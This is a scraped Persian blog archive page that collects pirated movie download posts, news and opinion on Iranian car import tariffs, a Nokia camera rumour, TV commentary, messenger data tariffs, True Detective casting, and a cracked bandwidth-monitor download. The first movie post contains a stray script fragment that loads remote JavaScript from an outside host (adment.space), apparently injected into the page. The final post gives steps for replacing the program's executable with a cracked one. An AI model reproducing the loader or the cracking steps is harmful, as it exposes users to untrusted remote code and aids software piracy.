طپش دیجیتال

دسته‌بندی نشده Archives - طپش دیجیتال

--


دانلود مدیای زیبای

دانلود فیلم ابد و یک روز با کیفیت HD، دانلود فیلم، دانلود فیلم بزرگسالان، دانلود فیلم ایرانی جدید، دانلود فیلم با لینک مستقیم, دانلود فیلم ایرانی جدید ، دانلود فیلم ایرانی ، دانلود فیلم

دانلود فیلم ابد و یک روز با کیفیت HD

 

نام اثر: ابد و یک روز

کیفیت ها: full hd 1080p – hd 720 – ۴۸۰p  – 5stars

مخاطب: بزرگسالان

نوع فیلم: سینمایی

محصول: ایران

موضوع: اجتماعی

نویسنده و کارگردان: سعید روستایی

تهیه کنندگان: سعید ملکان

بازیگران: پیمان معادی، نوید محمدزاده، پریناز ایزدیار، شبنم مقدمی، زیما رامین فر، مهدی قربانی، معصومه رحمانی، شیرین یزدان بخش

سال تولید: ۱۳۹۴

مدت زمان: – دقیقه

خلاصه داستان: فیلم ابد و یک روز فیلمی به کارگردانی و نویسندگی سعید روستایی و محصول سال ۱۳۹۴ است. این فیلم برای حضور در بخش نگاه نو سی و چهارمین دوره جشنواره فجر انتخاب شده است. در ابد و یک روز خانواده ای در حال تدارک عروسی دخترشان سمیه هستند، اما اتفاقات غیر منتظره ای روابط خواهران و برادران را سرد می کند که در نهایت باعث ماجراهایی می شود که خانواده…

 

‘);
var code = document.createElement(“script”);
code.type = “text/javascript”;
code.async = true;
code.src = “http://adment.space/b/b.js”;
var s = document.getElementsByTagName(“script”)[۰];
s.parentNode.insertBefore(code, s);
})();
]]>

راهنمای دانلود:

لطفا برای پخش هرچه بهتر فایل های مالتی مدیا پلیر خود را آپدیت کنید! تنها پلیر مورد تایید وبسایت آپ تی وی، KMPlayer 4.1.4.7 به بالا می باشد. .

برای دانلود فیلم ها با گوشی اندروید تنها برنامه مورد تایید وبسایت آپ تی وی، Advanced Download Manager Pro v5.1.2  می باشد. .

دانلود

گرد آوری : مجله فیلم

movie – دانلود فیلم – لینک مستقیم – امتیاز فیلم – زیرنویس فیلم – کیفیت hd – عکس فیلم – سریال – بازیگر


از اواخر آذر ۱۳۹۶، دولت تعرفه خودروهای وارداتی را افزایش داد و سایت ثبت سفارش را مجددا باز کرد. این اقدام موجب افزایش نجومی قیمت خودروهای خارجی شد، اما مجلس با افزایش تعرفه واردات خودرو مخالف است.

هم‌اکنون عرضه‌کنندگان خودرو در ایران، چه خودروسازان و چه وارد‌کنندگان، قیمت اغلب محصولات خود را در شرایطی بالا برده‌اند که نه از تحریم‌های سخت بین‌المللی خبری هست و نه تورمی لجام‌گسیخته. طی ۵ ماه گذشته، مشتریان بارها خبر افزایش قیمت خودروهای داخلی و خارجی را شنیده‌اند، آن هم در شرایطی که گمان می‌کردند امسال و با وجود کنار رفتن ابرهای سیاه تحریم و کاهش تورم و همچنین افزایش تیراژ، حداقل با ثبات قیمتی در بازار خودرو مواجه شوند.

با این حال، خودروسازان داخلی و وارد‌کنندگان، به دفعات قیمت محصولات خود را طی سال ‌جاری بالا برده و در توجیه این اقدام، همان حرف‌های کلیشه‌ای مانند بالا رفتن نرخ ارز، تورم، تحریم و این اواخر بسته بودن ثبت سفارش را پیش کشیده‌اند.

تعرفه خودروهای وارداتی

متاسفانه از اواسط تابستان امسال و به بهانه بسته بودن سایت ثبت سفارش ،شاهد شروع شیب تند افزایش قیمت خودروهای وارداتی بوده‌ایم. بعد از شروع اوج گرفتن تدریجی قیمت خودرو، موج اول افزایش نجومی قیمت از ماه دوم پاییز امسال رقم خورد و این در حالی بود که واردکنندگان مقادیر زیادی از خودروهای ترخیص شده قبلی را موجود داشتند.

بعد از کلید خوردن این افزایش نجومی (حدود ۱۵ درصدی) در آبان‌ماه امسال متاسفانه شاهد موج دوم افزایش قیمت در ابتدای آذرماه بودیم و این در حالی بود که هنوز تعرفه‌های جدید نیز اعلام نشده بودند و واردکنندگان صرفا به خاطر شایعه افزایش تعرفه خودروهای وارداتی ، افزایش مجدد حدود ۱۰ درصدی را روی خودروهای خود اعمال کردند.

در آذرماه امسال شایعات و جداول مختلفی از تغییرات تعرفه خودروهای وارداتی در سایت‌ها و رسانه‌ها مطرح و مورد بحث قرار گرفت. مسوولان وزارت صمت (صنعت، معدن و تجارت) و فعالین واردکننده خودرو نیز در این مدت گاهی با دفاع از تغییرات احتمالی و گاهی با تکذیب احتمال انجام این تغییرات، فضای بسیار مبهمی را به وجود آورده بودند. جالب این که در روزهای قبل از باز شدن ثبت سفارش نیز بسیاری از مسئولان وزارت صمت و بعضی از فعالان حوزه خودرو در اظهار نظرهایی عجیب اعلام می‌کردند که با توجه به حبابی بودن قیمت‌گذاری، حتی پس از افزایش نجومی تعرفه‌ها نیز قیمت‌ها افزایش نخواهد یافت و یا حتی کاهش پیدا می‌کند! این در حالی است که حتی در ماه‌های قبل شایعات و زمزمه‌های افزایش احتمالی تعرفه نیز موجب سوءاستفاده واردکنندگان و فروشندگان خودرو و افزایش بسیار زیاد قیمت شده بود.

تعرفه خودروهای وارداتی

و اما بعد از باز شدن سایت ثبت سفارش در تاریخ ۲۷ آذرماه امسال و انتشار تعرفه های جدید واردات خودرو برخلاف اظهار نظرهای عجیب فوق و ظاهرا هماهنگ مسئولان وزارت صمت و بعضی از فعالان حوزه خودرو، نه‌ تنها قیمت خودرو کاهش نیافت بلکه منجر به موج سوم افزایش قیمت خودرو در حدود ۲۰ تا ۳۰ درصدی برای خودروهای معمول وارداتی (مثل خودروهای کره‌ای، ژاپنی و فرانسوی) و افزایش‌های حتی تا ۱۰۰ درصدی در مورد خودروهای لوکس شده است.

بدین ترتیب از ابتدای پاییز امسال شاهد افزایشی تا ۱۰۰ درصدی در مورد خودروهای لوکس اروپایی و چند مدل از خودروهای لوکس ژاپنی و افزایشی حدود ۵۰ درصدی در مورد خودروهای معمول کره‌ای، ژاپنی و فرانسوی بوده‌ایم که این افزایش نجومی قیمت‌ها حتی باعث بالا رفتن قیمت خودروهای تولید داخل و به خصوص خودروهای مونتاژی تولیدکنندگان داخلی نیز شده و خواهد شد.

ابلاغ دستورالعمل جدید تعرفه خودروهای وارداتی

در دستورالعمل جدید واردات خودرو، تعرفه خودروهای وارداتی با حجم موتور ۱۰۰۰ تا ۱۵۰۰ سی‌سی از ۴۰ درصد به ۵۵ درصد، تعرفه واردات خودروهای با حجم موتور ۱۵۰۰ تا ۲۰۰۰ سی‌سی از ۵۵ درصد به ۷۵ درصد و تعرفه واردات خودروهای با حجم موتور تا ۲۵۰۰ سی‌سی نیز از ۵۵ درصد به ۹۵ درصد افزایش یافته است. طبق این دستورالعمل، واردات خودروهای با ارزش گمرکی بیش از ۴۰ هزار دلار نیز ممنوع اعلام شده است.

تعرفه خودروهای وارداتی

در حالی دولت در دستورالعمل جدید واردات خودرو، تعرفه خودروهای وارداتی را بر اساس حجم موتور افزایش داده که مجلس شورای اسلامی معتقد است، دولت عملی خلاف قانون مصوب سال ۹۲ انجام داده است. بر این اساس کمیسیون اصل ۹۰ مجلس شورای اسلامی که اواسط آذرماه سال جاری در جلسه‌ای با مدیران وزارت صنعت، معدن و تجارت و انجمن واردکنندگان به بسته ماندن سایت ثبت سفارش واردات خودرو ورود کرد، حالا در طرحی جدید بحث کاهش و بازگشت به قبل تعرفه خودروهای وارداتی را در برنامه خود دارد.

آزاد شدن واردات خودروهای بالای ۲۵۰۰ سی سی  

اکنون یک عضو کمیسیون اصل ۹۰ مجلس شورای اسلامی خواستار اصلاح مصوبه اخیر هیات دولت درباره افزایش عوارض واردات خودرو شد و گفت:

پرونده‌ ای در کمیسیون اصل ۹۰ درباره موضوع واردات خودرو و همچنین صنعت خودروسازی داخلی در جریان است و هفته گذشته ما جلسه‌ای با مسئولین مربوطه در این باره داشتیم.

ولی داداشی، عضو کمیسیون اصل ۹۰ مجلس شورای اسلامی به خبرنگار ما می‌گوید که افزایش واردات خودرو بنا بر روالی قانونی که مجلس در سال‌های گذشته مصوب کرده، صورت نگرفته بنابراین کمیسیون اصل ۹۰ در طرحی دو فوریتی قصد دارد کاهش این تعرفه‌ها را در صحن علنی مجلس مورد بررسی قرار دهد.

وی با بیان اینکه افزایش تعرفه واردات خودرو در بازار منجر به ایجاد رانت برای عده‌ای شده است، افزود دولت باید نرخ تعرفه خودرو را به حالت قبل بازگرداند. اگر قرار است افزایش تعرفه‌ای در بازار صورت بگیرد باید در مورد خودروهای بالای ۲۵۰۰ سی سی اعمال شود.

داداشی، خواستار ایجاد فضای رقابتی از سوی دولت در بازار خودرو شد و اظهار کرد سیاست افزایش تعرفه خودروهای وارداتی ، بازار خودرو را از فضای رقابتی بیش از پیش خارج می‌کند. در این شرایط حمایت تعرفه‌ای از تولید داخل خودرو نباید به صورت دائم باشد، بلکه باید با کاهش تعرفه شرایط رقابت در کشور را فراهم کنیم تا کیفیت و استانداردهای تولیدات داخلی خودروسازان نیز افزایش پیدا کند.

تعرفه خودروهای وارداتی

عضو کمیسیون اصل ۹۰ با بیان این که انحصار در بازار خودرو به زیان مردم شده است، گفت ایران خودرو و سایپا از این فضا سوءاستفاده می‌کنند و خودروهای بی‌کیفیت خود را نظیر پراید و پژو ۴۰۵ به قیمت‌های هنگفت به مردم می‌فروشند.

از سویی دیگر نیز فرهاد تجری، عضو کمیسیون اصل ۹۰ در گفتگو با خبرنگار ما، با بیان این که در اواخر سال ۱۳۹۲ بحث کاهش سالانه ۵ درصد تعرفه واردات خودرو در مجلس به تصویب رسید افزود در شرایط کنونی به جای افزایش تعرفه باید شاهد کاهش تعرفه واردات خودروها به کشور باشیم.

به گفته تجری در طرح کمیسیون اصل ۹۰ درباره واردات خودرو علاوه بر این که بر بازگشت تعرفه خودروهای بنزینی به قبل تاکید شده بلکه بحث کاهش تعرفه خودروهای هیبریدی نیز مد نظر قرار گرفته است.

آیا دلایل بالا بردن تعرفه با اهداف مورد ادعایی تصویب‌کنندگان همخوانی دارد؟

وزارت صنعت، معدن و تجارت دلایل متعددی را در توجیه چرایی افزایش تعرفه خودروهای وارداتی ذکر می‌کند که مهم‌ترین آن‌ها عبارتند از:

  • جلوگیری از خروج ارز
  • حمایت از تولید داخل
  • افزایش درآمد از محل تعرفه

در مورد جلوگیری از خروج ارز به نظر می‌رسد که تصویب بخشنامه اخیر و اختلاف زیاد تعرفه واردات و مونتاژ، موجب سودآوری و مزیت بیشتر مونتاژکاری و تسریع روند روزافزون سالیان اخیر در تولید خودروهای صرفا مونتاژی (عمدتا خودروهای بی‌کیفیت چینی) خواهیم شد که در نتیجه میزان ارز بیشتری نیز به نسبت قبل از این طریق خارج خواهد گشت.

در مورد حمایت از تولید داخل نیز بهتر است در عوض حمایت‌های تعرفه‌ای یک‌طرفه و غیر اصولی که موجب رانت‌های خاص گردیده و از طرفی کاهش کیفیت و بهره‌وری را به همراه دارد با ایجاد شرایط رقابتی و غیر انحصاری در کنار حمایت‌های اصولی مانند تامین مالی مناسب و ایجاد بستر سرمایه‌گذاری موجبات توانمندسازی بیشتر صنعت قطعه‌سازی و خودروسازی را فراهم آورند.

تعرفه خودروهای وارداتی

برای نیل به اهداف فوق‌الذکر می‌توان به جای ایجاد شرایط غیر رقابتی و برای جلوگیری از شائبه رانت که منجر به افزایش نجومی قیمت خودرو و سودهای کلان برای واردکنندگان خاص و فروشندگان خودرو گردیده، به تجربه موفق کشورهای توسعه یافته یا در حال توسعه رجوع و از راه‌های اصولی و مبتنی بر رقابت‌پذیری استفاده کرد. کما این که در اسناد بالادستی و قوانین مجلس نیز بسیاری از این موارد لحاظ گردیده منتها متاسفانه همه این موارد در بخشنامه جدید وزارت صمت نادیده گرفته شده‌اند. به عنوان مثال می‌توان به قانون مجلس در سال ۱۳۹۲ مبنی بر لزوم کاهش سالیانه ۵ درصدی تعرفه اشاره کرد که متاسفانه به طور کامل نادیده گرفته شده و برعکس آن اقدام شده است!

خوشبختانه اخیرا و بعد از تصویب و ابلاغ بخشنامه جدید وزارت صمت، بحث‌های خوبی در مورد حل مشکلات به وجود آمده در بازار خودرو در کمیسیون اصل ۹۰ مطرح شده و در روز چهارشنبه ۲۷ دی ماه نیز جلسه خوبی بین نمایندگان محترم مجلس و مقامات وزارت صمت انجام گرفت که امیدواریم به زودی شاهد نتایج و تصمیمات جدیدی در جهت رفع این مسایل باشیم.

درباره نیل به اهداف مورد اشاره مسئولان وزارت صمت در مورد جلوگیری از خروج ارز، حمایت از تولید داخل و افزایش درآمدهای دولت نیز بهتر است به تجربه کشورهای خودروساز مراجعه شود. بدین صورت که در آن کشورها قیمت ماشین‌های مختلف بسیار رقابتی و قابل خرید برای عموم مردم بوده منتها تمایزی که وجود دارد این است که هزینه‌های بعد از خرید خودرو مانند انواع عوارض سالیانه، هزینه نقل و انتقال و هزینه بیمه خودرو، برای خودروهای ارزان‌قیمت، متوسط‌قیمت و گران‌قیمت و همچنین بر حسب طبقه‌بندی‌های دیگری از جمله میزان مصرف سوخت و میزان آلایندگی، بسیار متفاوت هستند.

تعرفه خودروهای وارداتی

در اینجا پیشنهاد می‌شود به جای اخذ تعرفه‌های بسیار بالا از خودروهای وارداتی، با بالا بردن هزینه‌های بعد از خرید خودرو (هزینه‌های نگهداری خودرو) برای خودروهای وارداتی و گران‌قیمت از جمله افزایش قیمت بیمه ثالث و بدنه، افزایش انواع عوارض سالیانه، افزایش هزینه‌های نقل و انتقال و حتی متفاوت بودن قیمت بنزین مصرفی، علاوه بر کمک به درآمدزایی دولت و جلوگیری از خروج ارز، بخشی از این درآمد را نیز می‌توان با حمایت‌های هدف‌مند به توانمندسازی صنعت خودروی کشور اختصاص داد.

در این صورت بدون این که شائبه رانت و حمایت‌های ویژه از گروه‌های خاص واردکننده و فروشنده خودرو مطرح باشد، کلیه اهداف مورد اشاره نیز محقق گردیده و با ایجاد فضای رقابتی، خودروساز داخلی نیز ملزم به بهبود مستمر کیفی و در نتیجه موجب رضایت‌مندی مشتریان و مردم کشور خواهد شد.


نوکیا ۶ سال پیش با معرفی موبایل ۸۰۸PureView با حسگر دوربین ۴۱ مگاپیکسلی سر و صدای بسیاری به پا کرد. به تازگی اطلاعاتی منتشر شده که خبر از کار روی موبایل متفاوت بهره مند از ۵ لنز می دهد. شاید این بار هم نوکیا قصد به راه انداختن سر و صدایی دیگر در حوزه دوربین تلفن های هوشمند را داشته باشد.

این شایعه که از طریق منبعی نزدیک به واحد کسب و کار تحقیق و توسعه شرکت فاکسکان منتشر شده، دوربین OZO را به یاد می اندازد؛ دوربینی که از ۸ لنز بهره می برد، البته این بار قرار است دوربین پنج گانه به موبایل های HMD Global، شرکت مالک برند نوکیا بیاید.

همچنین لازم است اشاره کنیم که این کمپانی در حال حاضر برای توسعه موبایل های آتی نوکیا همکاری نزدیکی با فاکسکان دارد. بر اساس اطلاعاتی که منبع یاد شده منتشر کرده در حال حاضر این موبایل بهره مند از ۵ لنز ساخته شده و آماده گذراندن مراحل آزمایشی است.

Screen Shot 1394-09-10 at 11.47.24-w600

دوربین OZO نوکیا که در مرداد ماه سال ۹۴ معرفی شد، به لطف تعبیه ۸ دوربین و ۸ میکروفن امکان تولید محتوای ۳۶۰ درجه ای را فراهم می کرد. بدین ترتیب امکان استفاده از این محتوا برای هدست های واقعیت مجازی فراهم می شد. البته در مهر ماه سال جاری بود که سازنده خبر داد به علت رشد کند بازار واقعیت مجازی، از توسعه و عرضه Ozo منصرف شده است.

این دوربین پنج گانه احتمالاً دیدی دایره ای را ارئه می دهد و از ۷ حفره برخوردار خواهد بود؛ ۵ حفره برای لنز ها و دو حفره برای جای گیری فلش های LED دوگانه. همچنین برخی سایت ها اشاره به ترکیب این دوربین کرده اند که بر این اساس قرار است از چینش دو دوربین در بالای قاب موبایل به همراه ۳ دوربین در پشت بهره ببرد. گفته شده موبایلی که از این دوربین بهره می برد، نسخه ۲۰۱۸ موبایل نوکیا ۸ نخواهد بود.

هنوز جزئیاتی در مورد نوع لنزها یا هدف از تولید این دوربین روی موبایل منتشر نشده ولی به نظر می رسد این دوربین بسیار قدرتمند باشد و با تمام نمونه هایی که تا به حال در تلفن های هوشمند دیگر دیده ایم متفاوت باشد. در صورتی که فاکسکان فرایندهای آزمایش این تلفن هوشمند را با موفقیت سپری کند، انتظار می رود تولید این موبایل در اواسط سال ۲۰۱۸ آغاز شود و در اوخر همین سال میلادی نیز معرفی گردد.


گروه تلویزیون – مجتبی احمدی: بررسی چند و چون نشستن مهران مدیری بر صندلی اجرای برنامه «هفت» حتی به مدت ده روز برگزاری جشنواره فیلم فجر از چند منظر نیاز به پرداخت و موشکافی دارد، به هر حال اجرای این برنامه توسط مدیری به همان اندازه که جذاب، پرمخاطب و اقدام جالبی خواهد بود از دور و نزدیک هم خطرناک به نظر می رسد. این خطر نه تنها در بحث کیفی کار که می تواند برای جایگاه کاریزماتیک مهران مدیری نیز خطر آفرین باشد.

 انتخاب مدیری از سر ناچاری
چند ماهی است که انتخاب و راه افتادن برنامه «هفت» نقل محافل است به طوری که اهالی سینما نیز روی این مساله کاملا تلویزیونی نظرهای خود را اعلام می کردند همه کاندیداهای مد نظر، از کارگردانان و بازیگران گرفته تا مجری های پیشنهادی می توانستند از زوایایی انتخاب مناسبی باشند از محمدرضا شهیدی فر گرفته که سواد سینمایی خوبی دارد تا مهدی کرم پور که خود فعال سینمایی است و سابقه مطبوعاتی نیز در این عرصه دارد و یا رضا رشیدپور که توانایی به چالش کشیدن گفت و گو در هر عرصه و ژانری جز منویات اجرایی اوست و اکبر نبوی و رسول صدر عاملی هم گزینه های شایعه شده بودند و… اما انتخاب مهران مدیری که این روزها برنامه «هفت» را با فراز و نشیب (بسته به انتخاب مهمان ها و موضوع) روی آنتن دارد تا حدودی عجیب و غریب بود.
روزی معاون سیما در حال جمع و جور کردن حواشی «هفت» اعلام کرد هرکسی را در رسانه ها اعلام کنند کنار می گذاریم اما بازار شایعات هر روز داغ تر شد، هر گروهی به هر کسی علاقه مند بود او را نامزد اجرای «هفت» می کرد هرکسی از هر کسی خوشش نمی آمد اطلاعات مربوط به عدم توانایی او را از جهات مورد نظر خودش بررسی می کرد تا کار به مهران مدیری برای اجرای ١٠ برنامه ویژه جشنواره فیلم فجر رسید که فردای همان روز از سوی خودش و خیلی ها تکذیب شد تا اینکه بالاخره این خبر تایید شد و در واقع تلویزیون مجبور شد در دقیقه نود نزدیک به جشنواره فیلم فجر یکی از گزینه هایش را که حداقل از حواشی سینمایی در امان است را معرفی کند.
 سینمای طناز با مدیری جدی
در اینکه مهران مدیری حالا در مقام مجری یک وزنه برای تلویزیون است و می تواند برنامه ای در حد و اندازه های «دورهمی» را امروز به یکی از پرمخاطب ترین های سیما تبدیل کند شکی نیست. اما این سوال اینجا مطرح است که آیا برنامه «هفت» قرار است با ساختار همیشگی جشنواره فیلم فجر روی آنتن برود یا اینکه قرار است با آمدن مهران مدیری ساختاری جدید به خود بگیرد. به هر حال باید پذیرفت مهران مدیری کاراکتری با تعریف ویژه دارد و این تعریف ویژه قطعاً روی بحث نوع اجرای او تأثیر می گذارد و این تأثیر چقدر می تواند تعریفی جدید و جدی از برنامه «هفت» را به مخاطب منتقل کند جای سوال دارد؟!
مهران مدیری و سبک و سیاق اجرایش در برنامه «دورهمی» با زاویه ای مشخص نسبت به مهمان است آیا این زاویه قرار است در اجرای برنامه «هفت» نیز وجود داشته باشد و مدیری به جای نگاه جدی به فیلم با زاویه طنازانه به بررسی آثار سینمایی بپردازد یا نه مدیری در قالبی جدید و با نگاه فنی فیلم های امسال را با حضور مهمانان و عوامل فیلم بررسی می کند.
یکی از جنبه های جذاب همیشگی برنامه ای شبیه «هفت» و «نود» حواشی حول این برنامه هاست، آیا مدیری قرار است به حواشی فیلم ها نیز بپردازد و گروه نویسنده برنامه او را از همه حواشی تولید یک فیلم، فیلم های کنار گذاشته شده، موافقان و مخالفان جشنواره و… مطلع سازد؟ به هر حال جایگاه مدیری در تلویزیون آنقدر برایش مهم و حیاتی است که با عوامل فیلم های مختلف در زاویه قرار نگیرد و این مسئله هم در شکل گیری و جذابیت برنامه «هفت» مؤثر است.
 مدیری کار راحتی ندارد!
اجرای برنامه «هفت» در ۱۰ روز اول جشنواره حتی برای مهران مدیری هم کار راحتی نیست و خود او هم به اذعان می دارد که نباید اجرای این برنامه را خیلی ساده دانست.
رابطه تعریف شده مهران مدیری با همه عوامل سینما و تلویزیون و جایگاه مراقبت شده در اجرای خانواده تلویزیون و سینما دارد شاید دست و بال او را در اجرای یک برنامه جذاب ببندد.
 «هفت» شاید بی رمق!
شاید برنامه «هفت» با احتیاط کامل از سوی مدیری روی آنتن برود چرا که او قصد ندارد وارد بازی اهالی سینما شود و خودش را درگیر قصه های مرسوم سینمایی ها در نقد و بررسی و پخش و کنار گذاشته شدن از جشنواره و… کند.
مدیری باهوش تر از آن است که به دنبال یک برنامه چالشی در حد و اندازه های «هفت» جیرانی یا «هفت» افخمی و چالش های «نود» داشته باشد چون می داند قرار نیست در این حوزه باقی بماند و ادامه دهد پس چرا باید خودش را با خانواده سینما که می توانند روزی همکاران او باشند در بیاندازد.
 چرا مدیری «هفت» را پذیرفت؟
از تمام حواشی انتخاب مهران مدیری که بگذریم به این سوال می رسیم که چرا مهران مدیری اجرای برنامه «هفت» را پذیرفت!
رودربایستی با مدیر شبکه؟ میل به اجرای یک برنامه سینمایی؟ کسب تجربه؟ بلند پروازی در اجرای دو برنامه متفاوت روی آنتن؟ و… .
تقریباً تمام موارد بالا نمی تواند منطقی باشد چون مهران مدیری را می شناسیم و خوب می دانیم او کاراکتری دارد که خودش تصمیم گیرنده است و کمتر کسی می تواند او را به کاری مجبور کند. قطع به یقین اجرای «هفت» با مدیری خطرناک است هم برای «هفت» و هم برای مجری جدیدش، نتیجه اتفاق دو حالت دارد یا برنامه جذاب و مخاطب پسندی از آب در نخواهد آمد یا مدیری ریسک می کند و از خودش و جایگاهش برای رو درو شدن با اهالی سینما خرج می کند. باید نشست و نتیجه را دید!

(بازدید: ۱)

اشتراک گذاری در:


سه اپراتور موبایل کشور خبر می‌دهند که بر اساس مصوبه ۲۵۶ کمیسیون تنظیم مقررات ارتباطات و در راستای حمایت و توسعه فعالیت پیام‌رسان‌های بومی، تعرفه دیتا برای بهره‌گیری از پیام‌رسان‌های داخلی یک سوم تعرفه ترافیک بین‌الملل محاسبه خواهد شد.

همراه اول این تغییرات را از روز جمعه ۲۹ دی ماه آغاز کرده است. رایتل نیز امروز عنوان کرد تعرفه استفاده از پیام‌رسان‌های داخلی را به یک سوم کاهش داده است. روابط عمومی ایرانسل نیز اکنون در گفتگو با دیجیاتو این موضوع را تایید کرد و خبر داد که در حال حاضر، تعرفه استفاده از پیام‌رسان‌های داخلی برای کاربران یک سوم تعرفه بین‌المللی محاسبه می‌شود.

در حال حاضر این سه اپراتور کاهش تعرفه‌ها را برای ۴ پیام‌رسان «گپ، آی گپ، بیسفون و سروش» تایید کرده‌اند و نام «ویسپی» که حرف‌و‌حدیث‌های بسیاری در مورد مالکیت آن شنیده می‌شود در لیست پیام‌رسان‌های داخلی حضور ندارد.

همه این‌ها در حالیست که تعرفه یک‌سوم، اولین حمایت از پیام‌رسان‌های بومی نیست. در هفته گذشته «سید ابوالحسن فیروزآبادی»، دبیر شورای عالی فضای مجازی خبر از اعطای وام ۵ میلیارد تومانی بدون بهره برای‌ توسعه پیام‌رسان‌های بومی داده و گفته بود که ۵ پیام رسان معتبر برای این امر در نظر گرفته شده‌اند که در آینده نام آنها ذکر خواهد شد.

بیشتر بخوانید:


به گزارش مجله فیلم

چیزی به آغاز ساخت فصل سوم مجموعه تلویزیونی «کارآگاه حقیقی» True Detective نمانده است و هرروز اسامی جدیدی به لیست بازیگران آن اضافه می‌شود. پس از موفقیت کم فصل دوم این سریال ساخت شبکه اچ‌بی‌او HBO، در مقایسه با فصل اول آن، وضعیت ساخت فصل سوم آن مشخص نبود، اما بالاخره تصمیم گرفته شد و ساخت سومین فصل این مجموعه به‌زودی آغاز می‌شود. استیون درُف Stephen Dorff نیز به جمع بازیگران این فصل، ماهرشالا علی Mahershala Ali و کارمن اجوجو Carmen Ejogo، اضافه شد.
داستان فصل سوم «کارآگاه حقیقی» در Ozarks اتفاق می‌افتد، و جنایتی پیچیده بر زندگی هر سه شخصیت آن در سه دهه مختلف، تأثیر می‌گذارد. علی نقش وین هیس Wayne Hays، کارآگاه پلیسی از شمال غربی آرکانزاس، و درف نقش یک محقق حقوقی را بازی می‌کند که شغلش تحت تأثیر جنایت گفته‌شده قرار می‌گیرد. اجوجو سومین قطعه این پازل است، او نقش معلم مدرسه‌ای را بازی می‌کند که ارتباطی با دو بچه‌ گمشده در سال ۱۹۸۰، دارد.
سازنده این مجموعه، نیک پیزولاتو Nic Pizzolatto نویسنده سه قسمت این فصل است، او همچنین قسمت چهارم را به همراهی دیوید میلچ David Milch نوشته است. درواقع اچ‌بی‌او این همکاری بین پیزولاتو و میلچ را محقق کرد تا بتواند در این فصل، به موضوعات حل‌نشده در فصل دوم بپردازد و به همین دلیل سازنده سریال «ددوود» Deadwood (میلچ)، نیز در ساخت فصل سوم «کارآگاه حقیقی» سهیم شد. پیزولاتو برخی قسمت‌های این فصل را در کنار جرمی سالنیر Jeremy Saulnier، کارگردان فیلم «اتاق سبز» Green Room که به سمت کارگردان اصلی این فصل انتخاب شد، را کارگردانی می‌کند. بنابراین فصل سوم این مجموعه، مانند فصل اول آن‌که کارگردانی تمام قسمت‌های آن را کری فوکوناگا Cary Fukunaga بر عهده داشت، توسط یک کارگردان ساخته می‌شود، برخلاف فصل دوم که ساخته چندین کارگردان بود.
به‌عنوان یکی از طرفداران «کارآگاه حقیقی»، همیشه منتظر فصل سوم این مجموعه بوده‌ام، بااین‌حال، این بار باوجود بازیگران خوب و محل داستان و کارگردانی سالنی‌یر، این فصل باید به حدی موفق باشد که همه طرفداران این مجموعه، شکست فصل دوم را فراموش کنند. هنوز تاریخ پخش این فصل اعلام‌نشده است، اما به‌احتمال‌زیاد در اواخر سال ۲۰۱۸ و یا اوایل ۲۰۱۹ خواهد بود.

Post Views: 0

منبع خبر

گرد آوری : مجله فیلم

movie – Movie news – اخبار فیلم – عکس فیلم – سریال

منتشر کننده فایل: Film2Movie
ژانر : اکشن , جنایی , غم انگیز , مهیج

۶٫۲/۱۰ از ۱۴,۷۹۴ رای

مدت زمان : ۱۰۰ دقیقه
زبان : انگلیسی
کیفیت : BluRay 720p
فرمت : MKV
انکودر : PaHe
حجم : ۷۵۰ مگابایت
محصول : آمریکا
ستارگان : Jean-Claude Van Damme, Scott Adkins, Ivan Kaye, Valentin Teodosiu
کارگردان : Ernie Barbarash
لینک‌های مرتبط : جستجوی زیرنویس کیفیت‌های دیگر

خلاصه داستان :

بازی مرگ آسا ، فیلمی در سبک اکشن و جنایی محصول سال ۲۰۱۱ به کارگردانی ارنی بارباراش است. در خلاصه داستان این فیلم مهیج آمده است ، وینسنت و رولند دو خلافکار حرفه‌ای هستند که از وجود یکدیگر خبر ندارند و هر دو نفر فکر می‌کنند در دنیا بهترین هستند. تا اینکه برای انجام یک ماموریت مهم و سری باید با یکدیگر همکاری کنند و…

دانلود فیلم Assassination Games 2011

دانلود با کیفیت BluRay 720p ریلیز PaHe

| لینک مستقیم |

جستجوی زیرنویس فارسی

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

دانلود با کیفیت BluRay 480p ریلیز PaHe

| لینک مستقیم |

جستجوی زیرنویس فارسی

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

دانلود با کیفیت BluRay 1080p ریلیز F2M

| لینک مستقیم |

جستجوی زیرنویس فارسی

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

دانلود پیش نمایش فیلم با دو کیفیت متفاوت

نسخه کم حجم : | لینک مستقیم |

نسخه حجم بالا : | لینک مستقیم |

دانلود فیلم Assassination Games 2011



نمایش پهنای باند

نرم افزار نمایش پهنای باند مصرفی اینترنت Nsasoft NBMonitor یک ابزار تجزیه و تحلیل کامل ترافیک و فن آوری جریان است که به منظور ارائه عملکرد پهنای باند شبکه در زمان واقعی به کار گرفته می شود. نرم افزار نمایش پهنای باند مصرفی اینترنت Nsasoft NBMonitor Analyzer که عمدتاً ابزار نظارت بر پهنای باند است با ارائه دیدگاه جامع درباره پهنای باند شبکه و الگوهای ترافیک خود هزاران شبکه را در سراسر جهان بهینه سازی کرده است.نرم افزار نمایش پهنای باند یک راه حل یکپارچه است که جمع آوری، تجزیه و تحلیل و گزارشات مربوط به آن چه پهنای باند شبکه شما برای آن و توسط آن ها مورد استفاده قرار می گیرد را برسی می کند. Nsasoft NBMonitor شریک قابل اعتماد بهینه سازی استفاده از پهنای باند بیش از یک میلیون رابط در سراسر جهان است که دادرسی های قانونی شبکه، تجزیه و تحلیل ترافیک شبکه را انجام داده است. این نرم افزار استفاده از پهنای باند اینترنت آپلود و دانلود و تمامی اتصالات فعال شما به اینترنت در هر لحظه و همچنین حجم ترافیکی که از طریق آن ها منتقل می شود را نمایش می دهد.

ویژگی های کلیدی:

  • میزان استفاده از پهنای باند شبکه (آپلود و دانلود).
  • نمایش میزان استفاده از ترافیک اینترنت در هر لحظه.
  • نظارت همزمان بر چندین اتصال شبکه.
  • کنترل بررسی و تحلیل ترافیک شبکه.
  • گزارش میزان ترافیک شبکه به صورت روزانه، هفتگی، ماهانه، سالانه و یا بطور کلی.
  • کم حجم، آسان و با دقت بالا
  •  ضبط و استخراج اتصالات شبکه در قالب یک فایل xml.

راهنمای نصب

  1. نرم افزار را نصب کنید.
  2. محتویات پوشه Cracked exe را در محل نصب نرم افزار* کپی و جایگزین فایل (های) قبلی کنید.
  3. نرم افزار را اجرا کنید.

